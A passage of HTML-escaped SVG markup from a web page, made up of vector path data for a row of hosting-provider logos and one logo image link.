                &lt;path d=&quot;M3.70618 12.0586C3.52072 12.0586 3.375 12.2047 3.375 12.3775C3.375 12.5635 3.52072 12.7096 3.69294 12.7096C3.8784 12.7096 4.02412 12.5635 4.02412 12.3908C4.02412 12.2047 3.8784 12.0586 3.70618 12.0586Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M1.32099 13.1348C1.2945 13.1348 1.28125 13.1481 1.28125 13.1746C1.28125 13.2012 1.2945 13.2145 1.32099 13.2145C1.34749 13.2145 1.36073 13.2012 1.36073 13.1746C1.36073 13.1481 1.33424 13.1348 1.32099 13.1348Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.1163 13.0547C2.05006 13.0547 1.99707 13.1078 1.99707 13.1743C1.99707 13.2407 2.05006 13.2938 2.1163 13.2938C2.18253 13.2938 2.23552 13.2407 2.23552 13.1743C2.23552 13.1078 2.18253 13.0547 2.1163 13.0547Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91062 12.9766C2.7914 12.9766 2.71191 13.0696 2.71191 13.1759C2.71191 13.2954 2.80465 13.3752 2.91062 13.3752C3.02985 13.3752 3.10933 13.2822 3.10933 13.1759C3.10933 13.0563 3.0166 12.9766 2.91062 12.9766Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.7055 12.8965C3.54654 12.8965 3.41406 13.0293 3.41406 13.1755C3.41406 13.3349 3.54654 13.4678 3.69226 13.4678C3.85123 13.4678 3.9837 13.3349 3.9837 13.1888C3.9837 13.0161 3.86447 12.8965 3.7055 12.8965Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11659 13.8926C2.07685 13.8926 2.03711 13.9324 2.03711 13.9723C2.03711 14.0122 2.07685 14.052 2.11659 14.052C2.15634 14.052 2.19608 14.0122 2.19608 13.9723C2.19608 13.9324 2.15634 13.8926 2.11659 13.8926Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91092 13.8125C2.81819 13.8125 2.75195 13.8789 2.75195 13.9719C2.75195 14.0649 2.81819 14.1314 2.91092 14.1314C3.00365 14.1314 3.06989 14.0649 3.06989 13.9719C3.06989 13.8789 2.99041 13.8125 2.91092 13.8125Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70623 13.7324C3.57375 13.7324 3.46777 13.8387 3.46777 13.9716C3.46777 14.1044 3.57375 14.2107 3.70623 14.2107C3.8387 14.2107 3.94468 14.1044 3.94468 13.9716C3.94468 13.8387 3.8387 13.7324 3.70623 13.7324Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50098 13.666C4.32876 13.666 4.19629 13.7989 4.19629 13.9716C4.19629 14.1443 4.32876 14.2772 4.50098 14.2772C4.67319 14.2772 4.80567 14.1443 4.80567 13.9716C4.80567 13.7989 4.67319 13.666 4.50098 13.666Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11591 14.7305C2.08942 14.7305 2.07617 14.7438 2.07617 14.7703C2.07617 14.7969 2.08942 14.8102 2.11591 14.8102C2.14241 14.8102 2.15566 14.7969 2.15566 14.7703C2.15566 14.7438 2.12916 14.7305 2.11591 14.7305Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91067 14.6641C2.84443 14.6641 2.80469 14.7172 2.80469 14.7704C2.80469 14.8235 2.85768 14.8766 2.91067 14.8766C2.9769 14.8766 3.01665 14.8235 3.01665 14.7704C3.01665 14.7172 2.96366 14.6641 2.91067 14.6641Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70597 14.584C3.59999 14.584 3.52051 14.6637 3.52051 14.77C3.52051 14.8763 3.59999 14.956 3.70597 14.956C3.81195 14.956 3.89143 14.8763 3.89143 14.77C3.87819 14.677 3.7987 14.584 3.70597 14.584Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50072 14.5176C4.36825 14.5176 4.24902 14.6239 4.24902 14.77C4.24902 14.9029 4.355 15.0225 4.50072 15.0225C4.6332 15.0225 4.75242 14.9162 4.75242 14.77C4.75242 14.6372 4.6332 14.5176 4.50072 14.5176Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.2959 14.4629C5.12368 14.4629 4.99121 14.5958 4.99121 14.7685C4.99121 14.9412 5.12368 15.0741 5.2959 15.0741C5.46812 15.0741 5.60059 14.9412 5.60059 14.7685C5.60059 14.5958 5.46812 14.4629 5.2959 14.4629Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.91139 15.5137C2.88489 15.5137 2.8584 15.5402 2.8584 15.5668C2.8584 15.5934 2.88489 15.62 2.91139 15.62C2.93788 15.62 2.96438 15.5934 2.96438 15.5668C2.96438 15.5402 2.93788 15.5137 2.91139 15.5137Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70614 15.4473C3.6399 15.4473 3.58691 15.5004 3.58691 15.5668C3.58691 15.6333 3.6399 15.6864 3.70614 15.6864C3.77238 15.6864 3.82537 15.6333 3.82537 15.5668C3.82537 15.5004 3.77238 15.4473 3.70614 15.4473Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50089 15.3809C4.39491 15.3809 4.31543 15.4606 4.31543 15.5669C4.31543 15.6732 4.39491 15.7529 4.50089 15.7529C4.60687 15.7529 4.68636 15.6732 4.68636 15.5669C4.68636 15.4606 4.59362 15.3809 4.50089 15.3809Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.29509 15.3281C5.16262 15.3281 5.05664 15.4344 5.05664 15.5673C5.05664 15.7001 5.16262 15.8064 5.29509 15.8064C5.42757 15.8064 5.53355 15.7001 5.53355 15.5673C5.53355 15.4344 5.42757 15.3281 5.29509 15.3281Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09027 15.2734C5.9313 15.2734 5.79883 15.4063 5.79883 15.5657C5.79883 15.7252 5.9313 15.858 6.09027 15.858C6.24924 15.858 6.38171 15.7252 6.38171 15.5657C6.38171 15.4063 6.24924 15.2734 6.09027 15.2734Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88489 15.2344C6.69943 15.2344 6.55371 15.3805 6.55371 15.5665C6.55371 15.7525 6.69943 15.8987 6.88489 15.8987C7.07036 15.8987 7.21608 15.7525 7.21608 15.5665C7.21608 15.3805 7.05711 15.2344 6.88489 15.2344Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M3.70631 16.3105C3.67981 16.3105 3.65332 16.3371 3.65332 16.3637C3.65332 16.3903 3.67981 16.4168 3.70631 16.4168C3.7328 16.4168 3.7593 16.3903 3.7593 16.3637C3.7593 16.3371 3.7328 16.3105 3.70631 16.3105Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50106 16.2578C4.43482 16.2578 4.38184 16.311 4.38184 16.3641C4.38184 16.4305 4.43482 16.4837 4.48781 16.4837C4.55405 16.4837 4.60704 16.4305 4.60704 16.3774C4.60704 16.2977 4.5673 16.2578 4.50106 16.2578Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.29569 16.2051C5.20296 16.2051 5.13672 16.2848 5.13672 16.3645C5.13672 16.4575 5.2162 16.524 5.29569 16.524C5.38842 16.524 5.45466 16.4442 5.45466 16.3645C5.45466 16.2715 5.38842 16.2051 5.29569 16.2051Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09086 16.1504C5.97164 16.1504 5.87891 16.2434 5.87891 16.363C5.87891 16.4826 5.97164 16.5756 6.09086 16.5756C6.21009 16.5756 6.30282 16.4826 6.30282 16.363C6.30282 16.2434 6.19684 16.1504 6.09086 16.1504Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88494 16.1252C6.75246 16.1252 6.64648 16.2315 6.64648 16.3644C6.64648 16.4972 6.75246 16.6035 6.88494 16.6035C7.01741 16.6035 7.12339 16.4972 7.12339 16.3644C7.12339 16.2315 7.01741 16.1119 6.88494 16.1252C6.88494 16.1119 6.88494 16.1119 6.88494 16.1252Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.68054 16.0977C7.53482 16.0977 7.41559 16.2172 7.40234 16.3634C7.40234 16.5095 7.52157 16.6291 7.66729 16.6424C7.81301 16.6424 7.93224 16.5228 7.94548 16.3767C7.94548 16.2172 7.82626 16.0977 7.68054 16.0977Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47504 16.0723C8.31607 16.0723 8.18359 16.2051 8.18359 16.3646C8.18359 16.524 8.31607 16.6569 8.47504 16.6569C8.634 16.6569 8.76648 16.524 8.76648 16.3646C8.75323 16.2051 8.634 16.0723 8.47504 16.0723Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M4.50068 17.1211C4.47418 17.1211 4.46094 17.1344 4.46094 17.161C4.46094 17.1875 4.47418 17.2008 4.50068 17.2008C4.52717 17.2008 4.54042 17.1875 4.54042 17.161C4.54042 17.1344 4.51393 17.1211 4.50068 17.1211Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M5.2953 17.0684C5.24231 17.0684 5.21582 17.1082 5.21582 17.1481C5.21582 17.2012 5.25556 17.2278 5.2953 17.2278C5.34829 17.2278 5.37479 17.1879 5.37479 17.1481C5.37479 17.1082 5.33505 17.0684 5.2953 17.0684Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09048 17.0273C6.02424 17.0273 5.95801 17.0805 5.95801 17.1602C5.95801 17.2266 6.011 17.2931 6.09048 17.2931C6.16997 17.2931 6.22296 17.2399 6.22296 17.1602C6.20971 17.0938 6.15672 17.0273 6.09048 17.0273Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88553 17.002C6.7928 17.002 6.72656 17.0684 6.72656 17.1614C6.72656 17.2544 6.7928 17.3208 6.88553 17.3208C6.97826 17.3208 7.0445 17.2544 7.0445 17.1614C7.0445 17.0684 6.97826 17.002 6.88553 17.002Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.6796 16.9746C7.57362 16.9746 7.49414 17.0543 7.49414 17.1606C7.49414 17.2669 7.57362 17.3466 7.6796 17.3466C7.78558 17.3466 7.86507 17.2669 7.86507 17.1606C7.86507 17.0543 7.77233 16.9746 7.6796 16.9746Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47508 16.9609C8.3691 16.9609 8.27637 17.0539 8.27637 17.1602C8.27637 17.2665 8.3691 17.3595 8.47508 17.3595C8.58106 17.3595 8.67379 17.2665 8.67379 17.1602C8.67379 17.0539 8.58106 16.9609 8.47508 16.9609Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.09052 17.918C6.06403 17.918 6.05078 17.9313 6.05078 17.9578C6.05078 17.9844 6.06403 17.9977 6.09052 17.9977C6.11702 17.9977 6.13027 17.9844 6.13027 17.9578C6.13027 17.9313 6.11702 17.918 6.09052 17.918Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M6.88515 17.8789C6.8454 17.8789 6.80566 17.9188 6.80566 17.9586C6.80566 17.9985 6.8454 18.0383 6.88515 18.0383C6.92489 18.0383 6.96463 17.9985 6.96463 17.9586C6.95138 17.9188 6.92489 17.8789 6.88515 17.8789Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M7.67965 17.8652C7.62666 17.8652 7.58691 17.9051 7.58691 17.9582C7.58691 18.0114 7.62666 18.0512 7.67965 18.0512C7.73263 18.0512 7.77238 18.0114 7.77238 17.9582C7.77238 17.9051 7.73263 17.8652 7.67965 17.8652Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47469 17.8516C8.40846 17.8516 8.35547 17.9047 8.35547 17.9579C8.35547 18.0243 8.40846 18.0774 8.46145 18.0774C8.52768 18.0774 8.58067 18.0243 8.58067 17.9711C8.58067 17.8914 8.52768 17.8516 8.47469 17.8516Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M8.47474 18.7285C8.46149 18.7285 8.44824 18.7418 8.44824 18.7551C8.44824 18.7684 8.46149 18.7817 8.47474 18.7817C8.48798 18.7817 8.50123 18.7684 8.50123 18.7551C8.50123 18.7418 8.48798 18.7285 8.47474 18.7285Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M9.29621 0.0214844V1.19069C9.28297 1.19069 9.26972 1.20398 9.26972 1.21726C9.26972 1.23055 9.28297 1.24384 9.28297 1.24384V1.90816C9.22998 1.90816 9.17699 1.94802 9.17699 2.01445C9.17699 2.0676 9.21673 2.12074 9.28297 2.12074H9.29621V2.61234C9.19023 2.61234 9.0975 2.70535 9.0975 2.81164C9.0975 2.91793 9.19023 2.99765 9.29621 3.01093V3.31652C9.13724 3.31652 9.01802 3.44939 9.01802 3.62211C9.01802 3.76826 9.15049 3.90112 9.29621 3.90112V4.03399C9.08425 4.03399 8.92529 4.20671 8.92529 4.40601C8.92529 4.56545 9.01802 4.69831 9.16374 4.75146C9.05776 4.79132 8.96503 4.85775 8.89879 4.96404C8.83255 4.85775 8.73982 4.79132 8.6206 4.75146C8.81931 4.68502 8.91204 4.47244 8.8458 4.28643C8.77957 4.08713 8.56761 3.99413 8.38215 4.06056C8.18343 4.12699 8.0907 4.33958 8.15694 4.52559C8.19668 4.63188 8.27617 4.72488 8.38215 4.75146C8.24967 4.79132 8.14369 4.87104 8.0907 4.99061C7.97148 4.77803 7.70653 4.69831 7.49457 4.81789C7.40184 4.87103 7.32236 4.96404 7.28261 5.07033C7.20313 4.85775 6.97793 4.75146 6.76597 4.81789C6.55401 4.88432 6.44803 5.12348 6.51427 5.33606C6.54076 5.42907 6.607 5.50878 6.69973 5.56193C6.59375 5.60179 6.51427 5.68151 6.46128 5.7878C6.34205 5.5885 6.0771 5.52207 5.86515 5.64165C5.74592 5.70808 5.67968 5.82766 5.66644 5.96052C5.63994 5.76123 5.45448 5.61508 5.25577 5.64165C5.05706 5.66822 4.91134 5.85423 4.93783 6.05353C4.96433 6.22625 5.0968 6.35912 5.25577 6.3724C5.01732 6.39898 4.8451 6.61156 4.87159 6.83743C4.88484 6.97029 4.96433 7.08987 5.08355 7.1563C4.99082 7.20945 4.91134 7.28917 4.85835 7.39546C4.75237 7.19616 4.50067 7.12973 4.31521 7.23602C4.12974 7.34231 4.05026 7.59475 4.15624 7.78076C4.20923 7.87377 4.27546 7.9402 4.36819 7.96678C4.14299 8.04649 4.01052 8.28565 4.09 8.52481C4.12974 8.6311 4.19598 8.7241 4.30196 8.77725C4.18273 8.83039 4.10325 8.93669 4.06351 9.06955C3.99727 8.87025 3.78531 8.77725 3.59985 8.84368C3.40114 8.91011 3.30841 9.12269 3.37464 9.30871C3.44088 9.49472 3.65284 9.60101 3.8383 9.53458C3.94428 9.49472 4.03701 9.415 4.06351 9.30871C4.09 9.42828 4.16948 9.52129 4.27546 9.58772C4.18273 9.64087 4.10325 9.73387 4.06351 9.85345C3.98402 9.65415 3.77206 9.56115 3.57335 9.64087C3.37464 9.72058 3.28191 9.93317 3.3614 10.1325C3.44088 10.3318 3.65284 10.4248 3.85155 10.345C3.94428 10.3052 4.02376 10.2255 4.06351 10.1325C4.10325 10.2388 4.16948 10.3318 4.27546 10.3982C4.16948 10.4646 4.10325 10.5576 4.07675 10.6639C4.01052 10.4646 3.79856 10.3716 3.59985 10.4381C3.40114 10.5045 3.30841 10.7171 3.37464 10.9164C3.44088 11.1157 3.65284 11.2087 3.85155 11.1422C3.95753 11.1024 4.03701 11.0227 4.07675 10.9164C4.1165 11.0359 4.19598 11.1422 4.30196 11.2087C4.16948 11.2884 4.07675 11.4345 4.07675 11.594C4.07675 11.3947 3.90454 11.2352 3.71907 11.2485C3.52036 11.2485 3.36139 11.4212 3.37464 11.6073C3.38789 11.7933 3.54686 11.966 3.73232 11.9527C3.91778 11.9527 4.07675 11.7933 4.07675 11.6073C4.07675 11.7933 4.19598 11.9527 4.36819 12.0191C4.15624 12.0989 4.05026 12.338 4.12974 12.5373C4.20923 12.7499 4.44768 12.8562 4.64639 12.7765C4.73912 12.7366 4.80536 12.6835 4.85835 12.5905C4.89809 12.6835 4.97757 12.7632 5.0703 12.8163C4.95108 12.896 4.87159 13.0289 4.87159 13.1751C4.87159 12.9758 4.69938 12.8163 4.50067 12.8163C4.30196 12.8163 4.14299 12.9891 4.14299 13.1883C4.14299 13.3876 4.31521 13.5471 4.51392 13.5471C4.71263 13.5471 4.85835 13.3876 4.87159 13.1883C4.87159 13.4009 5.03056 13.5737 5.22927 13.6135C5.03056 13.6534 4.89809 13.8527 4.93783 14.052C4.97757 14.2513 5.17628 14.3841 5.37499 14.3443C5.52072 14.3177 5.63994 14.1981 5.66644 14.052C5.70618 14.238 5.8519 14.3841 6.05061 14.4107C5.8519 14.4373 5.70618 14.6233 5.73267 14.8226C5.75917 15.0219 5.94463 15.168 6.14334 15.1415C6.34205 15.1149 6.48777 14.9289 6.46128 14.7296C6.43478 14.5701 6.31556 14.4373 6.14334 14.4107C6.27581 14.3974 6.39504 14.3177 6.46128 14.2114C6.51427 14.3044 6.59375 14.3708 6.68648 14.424C6.48777 14.5436 6.42154 14.796 6.54076 14.982C6.65999 15.1813 6.91169 15.2477 7.09715 15.1282C7.17664 15.0883 7.22963 15.0086 7.26937 14.9289C7.32236 15.0883 7.46808 15.1946 7.62705 15.2079C7.42834 15.2345 7.29586 15.4205 7.3356 15.6198C7.3621 15.8191 7.54756 15.9519 7.74627 15.9121C7.94498 15.8855 8.07746 15.6995 8.03771 15.5002C8.01122 15.354 7.89199 15.2345 7.74627 15.2079C7.87875 15.1946 7.99797 15.1149 8.07746 14.9953C8.13045 15.1016 8.23642 15.1813 8.3424 15.2212C8.14369 15.3009 8.05096 15.5268 8.13045 15.7128C8.20993 15.9121 8.43514 16.0051 8.6206 15.9254C8.81931 15.8456 8.91204 15.6198 8.83255 15.4338C8.79281 15.3407 8.71333 15.261 8.6206 15.2212C8.72658 15.1946 8.80606 15.1149 8.8723 15.0352C8.92529 15.1282 9.01802 15.1946 9.11075 15.2345C8.91204 15.3275 8.83256 15.5533 8.92529 15.7526C8.99152 15.8855 9.124 15.9785 9.26972 15.9785V16.0981C9.11075 16.0981 8.96503 16.2177 8.96503 16.3904C8.96503 16.5498 9.08426 16.696 9.25647 16.696H9.26972V16.9883C9.15049 16.9883 9.05776 17.0813 9.05776 17.1876C9.05776 17.3071 9.15049 17.4001 9.25647 17.4001H9.26972V17.8785C9.20348 17.8785 9.16374 17.9316 9.16374 17.998C9.16374 18.0512 9.21673 18.1043 9.26972 18.1043V18.7554C9.25647 18.7554 9.24322 18.7687 9.24322 18.7819C9.24322 18.7952 9.25647 18.8085 9.26972 18.8085V19.9777C14.7541 20.0176 19.245 15.5932 19.2847 10.0926C19.3245 4.59202 14.9131 0.0879162 9.42869 0.0480569C9.40219 0.021484 9.3492 0.0214844 9.29621 0.0214844ZM5.67968 6.04024C5.69293 6.15982 5.74592 6.26611 5.83865 6.33254C5.77242 6.39898 5.70618 6.46541 5.63994 6.53184C5.57371 6.43884 5.46773 6.38569 5.3485 6.3724C5.53396 6.34583 5.66644 6.21297 5.67968 6.04024ZM5.67968 13.8925C5.65319 13.7464 5.53396 13.6401 5.38824 13.6002C5.49422 13.5869 5.58695 13.5205 5.65319 13.4408C5.71943 13.5072 5.77242 13.5604 5.83865 13.6268C5.75917 13.6932 5.70618 13.7862 5.67968 13.8925Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M2.11613 11.4082C2.02339 11.4082 1.93066 11.4879 1.93066 11.5942C1.93066 11.6872 2.01015 11.7802 2.11613 11.7802C2.20886 11.7802 2.30159 11.7005 2.30159 11.5942C2.28834 11.4879 2.20886 11.4082 2.11613 11.4082Z&quot; fill=&quot;white&quot;/&gt;
            &lt;/g&gt;
            &lt;defs&gt;
                &lt;clipPath id=&quot;clip0_6604_6313&quot;&gt;
                    &lt;rect width=&quot;113&quot; height=&quot;20&quot; fill=&quot;white&quot; transform=&quot;translate(0.5)&quot;/&gt;
                &lt;/clipPath&gt;
            &lt;/defs&gt;
        &lt;/svg&gt;
        &lt;svg width=&quot;114&quot; height=&quot;14&quot; viewBox=&quot;0 0 114 14&quot; fill=&quot;none&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;a-fade-up block-hosts-logos__image&quot; style=&quot;height: 13px;&quot;&gt;
            &lt;g clip-path=&quot;url(#clip0_6604_6431)&quot;&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M106.956 0C105.131 0 103.494 0.777636 102.375 2.01048C101.256 0.777636 99.6182 0 97.7937 0C94.4202 0 91.6855 2.65915 91.6855 5.93939V6.36364V13.5758H94.7396V5.93939L94.7413 5.83715C94.7968 4.24455 96.1423 2.9697 97.7937 2.9697C99.4804 2.9697 100.848 4.29927 100.848 5.93939V13.5758H103.902V5.93939L103.904 5.83715C103.959 4.24455 105.304 2.9697 106.956 2.9697C108.643 2.9697 110.01 4.29927 110.01 5.93939V13.5758H113.064V5.93939C113.064 2.65915 110.329 0 106.956 0Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M81.6506 10.6061C79.4818 10.6061 77.724 8.89679 77.724 6.78788C77.724 4.67897 79.4818 2.9697 81.6506 2.9697C83.8194 2.9697 85.5773 4.67897 85.5773 6.78788C85.5773 8.89679 83.8194 10.6061 81.6506 10.6061ZM81.6506 0C77.7951 0 74.6699 3.03927 74.6699 6.78788C74.6699 10.5369 77.7951 13.5758 81.6506 13.5758C85.5061 13.5758 88.6313 10.5369 88.6313 6.78788C88.6313 3.03927 85.5061 0 81.6506 0Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M66.8225 2.9697C67.9438 2.9697 68.9525 3.42915 69.668 4.16182L71.8276 2.06182C70.5589 0.792061 68.7871 0 66.8225 0C62.967 0 59.8418 3.03927 59.8418 6.78788C59.8418 10.5369 62.967 13.5758 66.8225 13.5758C68.7871 13.5758 70.5589 12.7841 71.8276 11.5139L69.668 9.41352C68.9525 10.1466 67.9438 10.6061 66.8225 10.6061C64.6537 10.6061 62.8959 8.89679 62.8959 6.78788C62.8959 4.67897 64.6537 2.9697 66.8225 2.9697Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M54.1637 8.48438C55.6091 8.48438 56.7814 9.62431 56.7814 11.0298C56.7814 12.4353 55.6091 13.5753 54.1637 13.5753C52.7182 13.5753 51.5459 12.4353 51.5459 11.0298C51.5459 9.62431 52.7182 8.48438 54.1637 8.48438Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M37.8077 5.51515C38.347 4.032 39.8011 2.9697 41.511 2.9697C43.2208 2.9697 44.6754 4.032 45.2147 5.51515H37.8077ZM48.4917 6.78788C48.4917 3.03885 45.3665 0 41.511 0C37.6559 0 34.5303 3.03885 34.5303 6.78788C34.5303 10.5365 37.6559 13.5758 41.511 13.5758C44.3569 13.5758 46.8045 11.9199 47.8918 9.54545H44.2269C43.5214 10.2022 42.5646 10.6061 41.511 10.6061C39.7209 10.6061 38.2108 9.44109 37.7379 7.84848H48.407C48.4629 7.50273 48.4917 7.14849 48.4917 6.78788Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M24.4963 0C20.6412 0 17.5156 3.03927 17.5156 6.78788V13.5758H20.5697V12.4006L20.5701 12.401L20.5697 6.78788L20.5714 6.67503C20.6325 4.61873 22.3663 2.9697 24.4963 2.9697C26.6651 2.9697 28.423 4.67897 28.423 6.78788V12.4006L28.4234 12.4002L28.423 13.5758H31.477V6.78788L31.4757 6.65424C31.4024 2.96715 28.3056 0 24.4963 0Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M7.48069 10.6061C5.31188 10.6061 3.55405 8.89679 3.55405 6.78788C3.55405 4.67897 5.31188 2.9697 7.48069 2.9697C9.64951 2.9697 11.4073 4.67897 11.4073 6.78788C11.4073 8.89679 9.64951 10.6061 7.48069 10.6061ZM7.48069 0C3.62561 0 0.5 3.03927 0.5 6.78788C0.5 10.5369 3.62561 13.5758 7.48069 13.5758C11.3358 13.5758 14.4614 10.5369 14.4614 6.78788C14.4614 3.03927 11.3358 0 7.48069 0Z&quot; fill=&quot;white&quot;/&gt;
            &lt;/g&gt;
            &lt;defs&gt;
                &lt;clipPath id=&quot;clip0_6604_6431&quot;&gt;
                    &lt;rect width=&quot;113&quot; height=&quot;14&quot; fill=&quot;white&quot; transform=&quot;translate(0.5)&quot;/&gt;
                &lt;/clipPath&gt;
            &lt;/defs&gt;
        &lt;/svg&gt;
        &lt;img decoding=&quot;async&quot; src=&quot;https://patchstack.com/wp-content/uploads/2025/09/logo-xcloud.png&quot; class=&quot;a-fade-up block-hosts-logos__image&quot;&gt;
        &lt;svg height=&quot;40&quot; viewBox=&quot;0 0 160 40&quot; width=&quot;160&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;block-hosts-logos__image&quot;&gt;
            &lt;g fill=&quot;#fff&quot;&gt;
                &lt;path d=&quot;m77.4866 16.2873c.6091-.9537 1.4371-1.7483 2.4152-2.3177.9734-.5817 2.089-.8826 3.2231-.8691v5.8273h-1.5164c-1.3736 0-2.4041.3003-3.0917.901-.6876.5802-1.031 1.6105-1.0302 3.091v8.34h-5.5081v-17.9665h5.5081z&quot;/&gt;
                &lt;path d=&quot;m104.432 13.292-10.135 23.8281h-5.8568l2.9161-6.4741-7.3106-17.354h6.1515l4.1575 11.2371 4.1194-11.2371z&quot;/&gt;
                &lt;path d=&quot;m112.124 31.5163c-1.567 0-2.962-.2681-4.186-.8041-1.223-.536-2.19-1.266-2.899-2.19-.696-.9128-1.11-2.0095-1.191-3.1548h5.442c.028.3003.119.5912.269.8528.15.2617.355.4879.6.6632.516.3855 1.15.5786 1.901.5795.687 0 1.213-.1289 1.578-.3867.178-.1145.324-.2719.425-.4576.102-.1858.155-.394.155-.6055 0-.5139-.269-.8896-.806-1.1269-.536-.257-1.405-.536-2.608-.8372-1.092-.2426-2.168-.5542-3.221-.9329-.855-.3415-1.617-.8823-2.222-1.5774-.623-.73-.934-1.7068-.933-2.9302-.01-.9969.282-1.9736.837-2.8013.58-.8577 1.417-1.5336 2.511-2.0279 1.118-.4911 2.438-.7366 3.962-.7366 2.255 0 4.026.5582 5.313 1.6744 1.31 1.1155 2.061 2.5967 2.255 4.4438h-5.088c-.033-.2911-.123-.5727-.267-.8277-.144-.2551-.338-.4784-.571-.6564-.45-.365-1.051-.5475-1.804-.5475-.643 0-1.137.1289-1.48.3866-.165.1078-.299.2563-.39.4312-.09.1749-.134.3702-.126.5669 0 .5155.268.9018.805 1.1588.558.2578 1.417.5155 2.579.7733 1.106.2712 2.192.6152 3.252 1.03.857.3348 1.611.8869 2.188 1.6019.644.7292.977 1.7166.999 2.9621.011 1.0168-.306 2.0101-.903 2.8332-.582.8176-1.43 1.4637-2.544 1.9383-1.096.4706-2.373.7055-3.832.7047z&quot;/&gt;
                &lt;path d=&quot;m131.82 26.5914v4.6647h-2.801c-1.995 0-3.55-.4824-4.666-1.4473-1.115-.9869-1.674-2.586-1.676-4.7973v-7.1468h-2.191v-4.5702h2.189v-2.9105l5.483-1.47311h.026v4.38361h3.605v4.5702h-3.602v7.2144c0 .534.122.9219.384 1.1563.261.2345.688.356 1.288.356z&quot;/&gt;
                &lt;path d=&quot;m160 7.48682v23.82568h-5.509v-22.35016l5.507-1.47552z&quot;/&gt;
                &lt;path d=&quot;m70.6377 31.2585h-6.731l-5.6223-7.3862-1.9756 2.4981v4.8881h-5.5093v-22.60054h5.5093v9.91624l7.5353-9.91624h6.4719l-8.7606 11.07624z&quot;/&gt;
                &lt;path d=&quot;m132.828 22.2446c0-1.8463.343-3.4671 1.03-4.8624.708-1.3912 1.663-2.4645 2.866-3.2199 1.207-.7525 2.604-1.1435 4.026-1.1269 1.267 0 2.372.2578 3.315.7734.91.4632 1.678 1.1639 2.222 2.0279v-2.5435h5.507v17.9666h-5.507v-2.5435c-.562.8602-1.339 1.5592-2.254 2.0279-.944.5156-2.049.7729-3.315.7721-1.412.0136-2.798-.3775-3.994-1.1269-1.202-.7725-2.157-1.8565-2.866-3.2518-.688-1.4166-1.031-3.0476-1.03-4.893zm13.461.0319c0-1.3732-.387-2.4572-1.159-3.2518-.351-.3838-.779-.6886-1.257-.8941-.478-.2056-.994-.3071-1.513-.2979-.54-.0074-1.075.0947-1.574.3-.498.2053-.95.5096-1.328.8944-.751.7726-1.127 1.8459-1.127 3.2199 0 1.3741.376 2.4695 1.127 3.2862.378.3843.83.6879 1.329.8926.499.2046 1.034.3061 1.573.2981.52.0096 1.036-.0917 1.513-.297.478-.2053.907-.51 1.258-.8937.772-.7971 1.158-1.8827 1.158-3.2567z&quot;/&gt;
                &lt;path d=&quot;m39.5916 8.61132-19.794 5.05628-19.78911611-5.05505 9.28739611-8.61255h21.01082z&quot;/&gt;
                &lt;path d=&quot;m39.6028 12.6978-17.8209 27.3021v-22.7516z&quot;/&gt;
